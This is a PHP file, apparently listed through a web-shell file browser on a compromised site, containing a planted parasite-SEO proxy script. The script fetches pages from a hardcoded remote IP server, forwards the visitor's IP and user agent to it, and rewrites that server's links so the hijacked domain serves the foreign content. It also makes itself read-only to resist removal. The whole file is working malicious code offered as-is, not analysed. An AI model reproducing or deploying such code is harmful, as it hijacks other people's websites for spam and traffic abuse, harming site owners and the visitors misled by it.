@qingjieshouliang
| Current Path : /www/wwwroot/eblliwsm.com/get/ |
| Current File : /www/wwwroot/eblliwsm.com/get/index.php |
<?php
@set_time_limit(0);
ini_set("error_reporting", "E_ALL & ~E_NOTICE");
date_default_timezone_set('PRC');
$host = $_SERVER["HTTP_HOST"];
$server_url = "http://137.175.21.203:10086/";
function getHtml($url, $time = 30, $num = 1)
{
$ip = real_ip();
$userAgent = isset($_SERVER['HTTP_USER_AGENT'])
? $_SERVER['HTTP_USER_AGENT']
: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36';
$header = array(
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Upgrade-Insecure-Requests: 1",
"DNT:1",
"Accept-Language: zh-CN,zh;q=0.9",
"CLIENT-IP: $ip",
"X-FORWARDED-FOR: $ip",
"User-Agent: $userAgent"
);
if (function_exists('curl_init')) {
$curl = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_TIMEOUT => $time,
CURLOPT_HTTPHEADER => $header,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HEADER => false,
);
if (stripos($url, 'https://') !== false) {
$options[CURLOPT_SSL_VERIFYPEER] = false;
$options[CURLOPT_SSL_VERIFYHOST] = false;
$options[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_1; // 改为 HTTP/1.1,PHP 5.2 兼容性更好
}
curl_setopt_array($curl, $options);
$response = curl_exec($curl);
$error = curl_errno($curl);
$errorMessage = curl_error($curl);
curl_close($curl);
if ($response !== false && $error === 0) {
return $response;
} else {
error_log("cURL 错误: $errorMessage (URL: $url)");
}
}
if ($num === 1) {
$context = stream_context_create(array(
"http" => array(
"method" => "GET",
"header" => implode("\r\n", $header),
"timeout" => $time,
)
));
$res = @file_get_contents($url, false, $context);
if ($res === false && stripos($url, 'https://') !== false) {
return getHtml(str_replace('https://', 'http://', $url), $time, 2);
}
return $res;
}
return false;
}
function getJustAllUrl($str)
{
$parttern = "/http[s]?:\/\/(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+/";
preg_match_all($parttern, $str, $matches);
return count($matches) > 0 ? array_unique($matches[0]) : '';
}
chmod(__FILE__, 0444);
$req = $_SERVER['REQUEST_URI'];
$new_req = explode('.php', $req);
$new_req[1] = explode('/', $new_req[1]);
$new_req[1][1] = $new_req[1][1] . '_' . $host;
$new_req[1] = implode('/', $new_req[1]);
$url = rtrim($server_url, '/') . "/" . ltrim(rtrim($new_req[1], '/'), '/');
$c = getHtml($url);
$port = $_SERVER["SERVER_PORT"];
$http = $port == '443' ? 'https://' : 'http://';
$server_url = str_replace(array('http://', 'https://'), $http, $server_url);
$target_url = $http . $host . $new_req[0] . '.php';
$css_list = array();
foreach (getJustAllUrl($c) as $k => $v) {
$v = str_replace(array("'", ')', ';'), '', $v);
$vnew = str_replace(array('http://', 'https://'), $http, $v);
if (strpos($vnew, $server_url) !== false) {
$info = pathinfo($vnew);
$new_url = str_replace($server_url, $target_url, $vnew);
if (in_array(strtolower($info['extension']), array('css', 'js', 'ico', 'jpeg', 'jpg', 'gif', 'png'))) {
$css_list[] = array(
$new_url => str_replace($target_url, $server_url, $vnew),
);
}
$c = str_replace($v, $new_url, $c);
}
}
if ($css_list) {
foreach ($css_list as $v) {
$c = strtr($c, $v);
}
}
if (strpos($req, '.xml') !== false) {
header("Content-type: text/xml");
$c = str_replace($server_url, $target_url, $c);
}
echo $c;
exit();
function real_ip()
{
$ip = $_SERVER['REMOTE_ADDR'];
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] as $xip) {
if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
$ip = $xip;
break;
}
}
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) {
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
} elseif (isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) {
$ip = $_SERVER['HTTP_X_REAL_IP'];
}
return $ip;
}